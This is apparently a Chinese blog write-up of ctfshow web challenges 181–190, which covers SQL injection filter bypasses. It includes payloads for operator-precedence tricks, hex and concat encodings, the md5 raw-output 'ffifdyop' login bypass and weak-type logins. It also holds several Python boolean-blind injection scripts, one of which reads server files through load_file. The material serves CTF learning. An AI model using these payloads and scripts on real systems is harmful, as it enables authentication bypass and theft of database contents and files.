ctfshow学习记录-web入门(sql注入181-190)


web181

解答:waf过滤了很多。
在这里插入图片描述在这里插入图片描述

空格过滤了很多,select也被过滤了。

题目的where语句处是and连接两个条件。可以考虑运算符优先级。

mysql操作符优先级:(数字越大,优先级越高)

优先级运算符
1:=
2|| , OR , XOR
3&& , AND
4NOT
5BETWEEN, CASE, WHEN, THEN, ELSE
6=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
7|
8&
9<<, >>
10-, +
11*, /, DIV, %, MOD
12^
13- (一元减号), ~ (一元比特反转)
14!
15BINARY, COLLATE

and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1

可以让where直接查找flag,最后的payload为:-1'||username='flag

这道题%0c也可以:-1'%0cor%0cusername='flag

题目说过滤了%0c,但依旧可以用%0c,应该是实际代码没有把\x0c加上。(我本地测试的时候,并不通)
这个题告诉我们,这种看着被过滤了,特别是这种复制粘贴不是源码高亮的,我们要大胆尝试,万一只是虚晃一招,没过滤呢。(当然,这应该只是出题人的疏漏,需要碰运气)


web182

解答:增加了flag过滤。like可以模糊匹配
在这里插入图片描述
%0c在本题依旧可用。
payload-1'||(username)like'%fla%

like可以用两个通配符(不区分大小写):

字符说明
%匹配任何数目的字符,甚至包括零字符
_只能匹配一种字符

web183

题目
在这里插入图片描述
解答:waf又增加了一些,题目也有变化了。查询到的结果会返回到下面第三个灰块那里。

select不能用,就只能选择布尔盲注或者时间盲注了。

这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。

因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。

tableName=`ctfshow_user`where`pass`like'ctfshow{%'

在这里插入图片描述

wp的脚本:(payload可以用regexp和like,我把like的也放在脚本里了。)

import requests
import time
url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
    for x in flagstr:
        data={
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
            #"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
        }
        response=requests.post(url,data=data)
        #有并发数量限制的题目,就睡一段时间
        time.sleep(0.3)
        if response.text.find("$user_count = 1;")>0:
            print("++++++++++++++++ {} is right".format(x))
            flag+=x
            break
        else:
            continue
    print("ctfshow"+flag)

web184

题目
在这里插入图片描述

解答:过滤的有点多,where、单双引号、反引号都被过滤了,但是本题没有过滤空格。
where可以用having代替,单双引号可以用 括号+十六进制。

查看官方文档,看看select语法。发现having和where可以替换,但是having语句有使用条件。

一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。

在这里插入图片描述

十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
在这里插入图片描述

测试语句成功:
ctfshow_user group by pass having pass like 0x63746673686f777b25
在这里插入图片描述

把上题的脚本修改一下就能用了:

import requests
import time
url="http://24873af7-39c6-4235-85e2-f6433b80f182.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"   #40
flag=""
for i in range(0,40):
    for x in flagstr:
        data={
            "tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
        }
        #print(data)
        response=requests.post(url,data=data)
        #有并发数量限制的,就睡一段时间
        time.sleep(0.3)
        if response.text.find("$user_count = 1;")>0:
            print("++++++++++++++++ {} is right".format(x))
            flag+=x
            break
        else:
            continue
    print("ctfshow{"+flag)

在这里插入图片描述

循环次数写的有点多,可以加个if判断,或者看到flag手动中断。


web185

题目

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

解答
数字被过滤了,就要考虑如何构造纯字母的匹配。
翻阅官方文档的字符串方法和操作部分,发现concat方法,可以构造字符串。
在这里插入图片描述

(跟着群主的做题路线走,终有一天可以成为大神,哈哈哈)
然后测试看看是否可以构造字符,成功将数字拼接。
在这里插入图片描述

然后就是各种试错,直到找到能跑出结果的paylaod。(附上最后本地跑出的字符串,可喜可贺~)
在这里插入图片描述

最后上脚本:
(我的formatString是自己写的,看着有些啰嗦哈,没有群主的简洁)

import requests
import time
import string

def formatString(str):
    temp="concat("
    for x in str:
        tip=0
        if x in string.digits:
            tmp=int(x)
        else:
            tip=1
            temp+="char("
            tmp=ord(x)
        if tmp == 0:
            temp+="false"
        else:
            temp_d="("
            for i in range(0,tmp):
                temp_d+="true+"
            temp_d=temp_d[:-1]+")"
            if tip==1:
                temp_d+=")"
            temp+=temp_d
        temp+=","
    temp=temp[:-1]+")"
    return temp

#print(formatString("0x63746673686f777b"))

url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
#dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!!
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
    for x in dic:
        data={
            "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
        }
        #print(data)
        response=requests.post(url,data=data)
        time.sleep(0.3)
        if response.text.find("$user_count = 1;")>0:
            print("[**] {} is right".format(x))
            flag+=x
            break
        else:
            #print("[--] {} is wrong".format(x))
            continue
    print("[flag]:"+flag)

web186

题目

function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

解答:增加了尖括号,^%的过滤。
上题的payload可用。


web187

题目:是个用户登录窗口
在这里插入图片描述
解答:本题和web181类似,都是通过1 and 0 or 1达到目的。
题中$password = md5($_POST['password'],true);,将md5函数的第二参数设置为了true。

string md5( string $str[, bool $raw_output = false] )

  • raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

这里的二进制格式,并不是指转成0101,而是binary mode。

对这个函数的进行本地测试,看一下:
在这里插入图片描述

ffifdyop是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。

通过本题测试可知,设置为true后,sql在查询时的语句就变成了:

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

在官方手册中,指出比较操作中值有1(TRUE),0(FALSE)或者NULL。字符串可以自动转换为数字。
在这里插入图片描述

下面是字符串转换为数字的操作实例:
所以上面的sql语句就构成了1 and 0 or 1这样的操作,也就实现了admin登录。
在这里插入图片描述

然后就直接用admin和ffifdyop登录即可获取flag。这里注意抓包,或者看源码。
在这里插入图片描述


web188

解答:根据题目可知只要登录成功,就会返回flag。密码只能输入数字。

查询语句的where判断是username={$username},并没有引号包裹,那么就可以输入数字了。

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)

然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
在这里插入图片描述

成功登录,获取到了flag。
在这里插入图片描述


web189

提示:flag在api/index.php文件中
解答:password依然是弱比较。
注入点在username,需要通过它来读取api/index.php文件的内容。看一下username的过滤,or|select都被过滤了,不能直接联合查询了,into不能写入文件。
在这里插入图片描述

那么用load_file读取文件,文件的完整路径是/var/www/html/api/index.php,对文件内容读取形式采取逐字符if判断的盲注形式。看一下登录的返回情况有没有差别:
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)
在这里插入图片描述

那么就可以利用这个进行布尔盲注,适当修改web183的脚本即可。

群主的脚本,上!

import requests
import time

url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
		if response.text.find("8d25")>0:
			print("++++++++++++++++++ {} is right".format(x))
			flag+=x
			break
		else:
			continue
	print(flag)

web190

解答:这次的查询语句里加上了单引号:username = '{$username}'
密码依然是和数字弱类型比较。

单引号闭合看一下。
在这里插入图片描述

登录的返回逻辑和上题一样,所以还是用布尔盲注,没有啥过滤。
采用二分法:

import requests
import sys
import time

url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值